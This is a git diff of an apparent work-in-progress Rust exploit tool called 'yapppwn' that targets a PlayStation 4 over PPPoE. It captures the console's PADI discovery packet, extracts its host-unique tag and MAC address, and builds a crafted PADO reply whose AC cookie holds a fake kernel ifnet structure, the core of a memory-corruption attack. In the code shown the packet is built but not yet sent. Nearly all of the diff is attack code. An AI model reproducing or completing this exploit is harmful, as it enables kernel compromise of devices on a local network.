diff --git a/.vscode/launch.json b/.vscode/launch.json index ce89937..c9af5b2 100644 --- a/.vscode/launch.json +++ b/.vscode/launch.json @@ -7,34 +7,34 @@ { "type": "lldb", "request": "launch", - "name": "Debug executable 'yappwn'", + "name": "Debug executable 'yapppwn'", "cargo": { "args": [ "build", - "--bin=yappwn", - "--package=yappwn" + "--bin=yapppwn", + "--package=yapppwn" ], "filter": { - "name": "yappwn", + "name": "yapppwn", "kind": "bin" } }, "args": [], - "cwd": "${workspaceFolder}" + "cwd": "${workspaceFolder}", }, { "type": "lldb", "request": "launch", - "name": "Debug unit tests in executable 'yappwn'", + "name": "Debug unit tests in executable 'yapppwn'", "cargo": { "args": [ "test", "--no-run", - "--bin=yappwn", - "--package=yappwn" + "--bin=yapppwn", + "--package=yapppwn" ], "filter": { - "name": "yappwn", + "name": "yapppwn", "kind": "bin" } }, diff --git a/Cargo.toml b/Cargo.toml index bbd959e..585c8cd 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -18,4 +18,4 @@ path = "src/py_yapppwn.rs" [[bin]] name = "yapppwn" -path = "src/main.rs" \ No newline at end of file +path = "src/main.rs" diff --git a/padi_ps4.pcap b/padi_ps4.pcap new file mode 100644 index 0000000..a4d300b Binary files /dev/null and b/padi_ps4.pcap differ diff --git a/src/constants.rs b/src/constants.rs index 5267360..977edba 100644 --- a/src/constants.rs +++ b/src/constants.rs @@ -2,6 +2,8 @@ pub const ETHERTYPE_PPPOEDISC: u16 = 0x8863; pub const PPPOE_CODE_PADI: u8 = 0x09; +pub const PPPOE_CODE_PADO: u8 = 0x07; +pub const PPPOE_SOFTC_SC_AC_COOKIE: u8 = 0x40; pub const ETH_HEADER_LEN: usize = 14; pub const ETH_SOURCE_MAC: usize = 6; diff --git a/src/exploit.rs b/src/exploit.rs index ef3aaa7..718099a 100644 --- a/src/exploit.rs +++ b/src/exploit.rs @@ -2,11 +2,11 @@ use crate::constants; use crate::macaddress::MacAddress64; // Import the type from macaddress.rs use pcap::{Active, Capture, Inactive}; use pcap::{Offline, Packet}; - pub struct Exploit { pub target_mac: MacAddress64, pub pppoe_softc: u64, pub source_mac: MacAddress64, + pub host_uniq: [u8; 8], } impl Exploit { @@ -17,30 +17,39 @@ impl Exploit { println!("[+] Source MAC: {:?}", self.source_mac); } pub fn ppp_negotiation(&mut self, mut cap_device: Capture) { - cap_device.filter("pppoed", true).unwrap(); - + println!("[*] Starting PPP Negotiation..."); + cap_device.filter("pppoed", false).unwrap(); + println!("[*] Waiting for PADI..."); while let Ok(packet) = cap_device.next_packet() { - // Check if PADI + println!("[*] Working on Packet..."); if !is_padi_packet(&packet) { + println!("[*] Skipping non PADI..."); continue; } - println!("{:?}", packet); - println!("[+] PADI packet received"); - // Extracting Host Unique Tag and populating the self.pppoe_softc - let host_uniq = extract_host_uniq(&packet).unwrap(); - self.pppoe_softc = u64::from_be_bytes(host_uniq); - // Extract and update source mac - self.target_mac = extract_ps4_source_mac(&packet).unwrap(); - println!("[+] Exploit Target MAC: {}", self.target_mac); - self.calc_planted(); - let ac_cookie = build_fake_ifnet(self.pppoe_softc); - println!("[+] AC cookie length: {:?}", ac_cookie.len()); - - println!("[*] Sending PADO...") - // TODO + self.handle_padi(&packet); + println!("[*] Sending PADO..."); + let fake_ifnet = build_fake_ifnet(self.pppoe_softc); + let pado_packet = create_pado_packet( + self.source_mac.to_mac_address6(), + self.target_mac.to_mac_address6(), + fake_ifnet, + self.pppoe_softc.to_be_bytes(), + ); } - // Setting Target and Source MAC Addresses - // Then finally build the fake interface + println!("[*] Didn't find any PADI..."); + } + pub fn handle_padi(&mut self, packet: &Packet) { + println!("{:?}", packet); + println!("[+] PADI packet received"); + // Extracting Host Unique Tag and populating the self.pppoe_softc + self.host_uniq = extract_host_uniq(&packet).unwrap(); + self.pppoe_softc = u64::from_be_bytes(self.host_uniq); + // Extract and update source mac + self.target_mac = extract_ps4_source_mac(&packet).unwrap(); + println!("[+] Exploit Target MAC: {}", self.target_mac); + self.calc_planted(); + let ac_cookie = build_fake_ifnet(self.pppoe_softc); + println!("[+] AC cookie length: {:?}", ac_cookie.len()); } } @@ -137,6 +146,45 @@ pub fn build_fake_ifnet(pppoe_softc: u64) -> Vec { fake_ifnet.extend(&constants::MTX_UNOWNED.to_le_bytes()); // mtx_lock fake_ifnet } +pub fn create_pado_packet( + source_mac: [u8; 6], + target_mac: [u8; 6], + ac_cookie: Vec, + host_uniq: [u8; 8], +) -> Vec { + let mut packet = Vec::new(); + + // Ethernet header + packet.extend_from_slice(&target_mac); + packet.extend_from_slice(&source_mac); + packet.extend_from_slice(&constants::ETHERTYPE_PPPOEDISC.to_be_bytes()); + + // PPPoE header + packet.push(0x11); // Version (1) and Type (1) + packet.push(constants::PPPOE_CODE_PADO); // Code (PADO) + packet.extend_from_slice(&0u16.to_be_bytes()); // Session ID (not used in PADO) + + // Placeholder for Payload Length (2 bytes), will be set later + let payload_length_pos = packet.len(); + packet.extend_from_slice(&[0, 0]); + + // PPPoE Tag for ACOOKIE + packet.extend_from_slice(&constants::PPPOE_SOFTC_SC_AC_COOKIE.to_be_bytes()); + packet.extend_from_slice(&(ac_cookie.len() as u16).to_be_bytes()); + packet.extend_from_slice(&ac_cookie); + + // PPPoE Tag for HUNIQUE + packet.extend_from_slice(&constants::PPPOE_TAG_HOST_UNIQ.to_be_bytes()); + packet.extend_from_slice(&(host_uniq.len() as u16).to_be_bytes()); + packet.extend_from_slice(&host_uniq); + + // Set the Payload Length + let payload_length = packet.len() - payload_length_pos - 2; + packet[payload_length_pos..payload_length_pos + 2] + .copy_from_slice(&(payload_length as u16).to_be_bytes()); + + packet +} #[cfg(test)] mod tests { @@ -146,7 +194,7 @@ mod tests { #[test] fn test_is_padi_packet_from_file() { // Open the pcap file - let mut cap = Capture::from_file("padi_2.pcap").expect("Failed to open pcap file"); + let mut cap = Capture::from_file("padi_ps4.pcap").expect("Failed to open pcap file"); let mut found_padi = false; while let Ok(packet) = cap.next_packet() { @@ -166,7 +214,7 @@ mod tests { #[test] fn test_extract_host_uniq() { // Open the pcap file - let mut cap = Capture::from_file("padi_2.pcap").expect("Failed to open pcap file"); + let mut cap = Capture::from_file("padi_ps4.pcap").expect("Failed to open pcap file"); while let Ok(packet) = cap.next_packet() { if is_padi_packet(&packet) { @@ -187,7 +235,7 @@ mod tests { #[test] fn test_extract_source_mac() { // Open the pcap file - let mut cap = Capture::from_file("padi_2.pcap").expect("Failed to open pcap file"); + let mut cap = Capture::from_file("padi_ps4.pcap").expect("Failed to open pcap file"); while let Ok(packet) = cap.next_packet() { if is_padi_packet(&packet) { @@ -197,7 +245,7 @@ mod tests { // Assert that the MAC address has the expected length assert_eq!(source_mac.0.len(), 8); // Optionally, check the MAC address values - assert_eq!(&source_mac.0[..6], &[0xfa, 0x16, 0x3e, 0x7d, 0xc8, 0x81]); + assert_eq!(&source_mac.0[..6], &[0xc8, 0x63, 0xf1, 0x44, 0x45, 0x97]); } Err(e) => { panic!("Failed to extract Source MAC Address: {:?}", e); diff --git a/src/macaddress.rs b/src/macaddress.rs index 42924ff..d702251 100644 --- a/src/macaddress.rs +++ b/src/macaddress.rs @@ -11,6 +11,13 @@ impl MacAddress64 { pub fn from_u64(value: u64) -> Self { MacAddress64(value.to_be_bytes()) } + + // Method to truncate to [u8; 6] + pub fn to_mac_address6(&self) -> [u8; 6] { + let mut truncated = [0u8; 6]; + truncated.copy_from_slice(&self.0[..6]); + truncated + } } // Implement display formatting for MacAddress64 diff --git a/src/main.rs b/src/main.rs index a2cf520..f0fe653 100644 --- a/src/main.rs +++ b/src/main.rs @@ -2,19 +2,29 @@ mod constants; mod exploit; mod macaddress; use macaddress::MacAddress64; -use pcap::Device; +use pcap::{Capture, Device}; use crate::exploit::Exploit; fn main() { // Cap device - let cap = Device::lookup().unwrap().unwrap().open().unwrap(); + let interface = "en10"; + // Open the specified interface + let dev = Device::list() + .unwrap() + .into_iter() + .find(|d| d.name == interface) + .expect("Specified interface not found"); + let cap = Capture::from_device(dev).unwrap(); + + let open_cap = cap.timeout(10000).open().unwrap(); let mut exploit = Exploit { target_mac: MacAddress64::from_u64(0), pppoe_softc: 0, source_mac: MacAddress64([41, 41, 41, 41, 41, 41, 41, 41]), + host_uniq: [0, 0, 0, 0, 0, 0, 0, 0], }; - exploit.ppp_negotiation(cap); + exploit.ppp_negotiation(open_cap); }